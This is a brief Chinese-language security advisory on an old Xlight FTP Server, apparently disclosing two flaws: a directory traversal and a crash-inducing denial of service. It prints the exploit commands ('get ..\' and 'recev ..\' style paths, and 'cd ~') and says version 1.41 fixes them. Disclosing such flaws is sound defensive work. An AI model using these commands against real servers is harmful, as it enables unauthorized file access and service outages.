Xlight FTP程序存在两个缺陷：
1、目录遍历
利用下列命令，攻击者能读取FTP root目录外的任何文件：
get ..\[Existent File]
recev ..\[Existent File]

2、DoS缺陷
利用下列命令，攻击者能导致程序崩溃：
cd ~

攻击方法：
示例代码1：
get ..\[Existent File]
recev ..\[Existent File]

示例代码2：
cd ~

解决方案：
Xlight FTP Server 1.41版已修正了该缺陷，请用户及时进行升级：
http://www.xlightftpd.com/>

附加信息：
无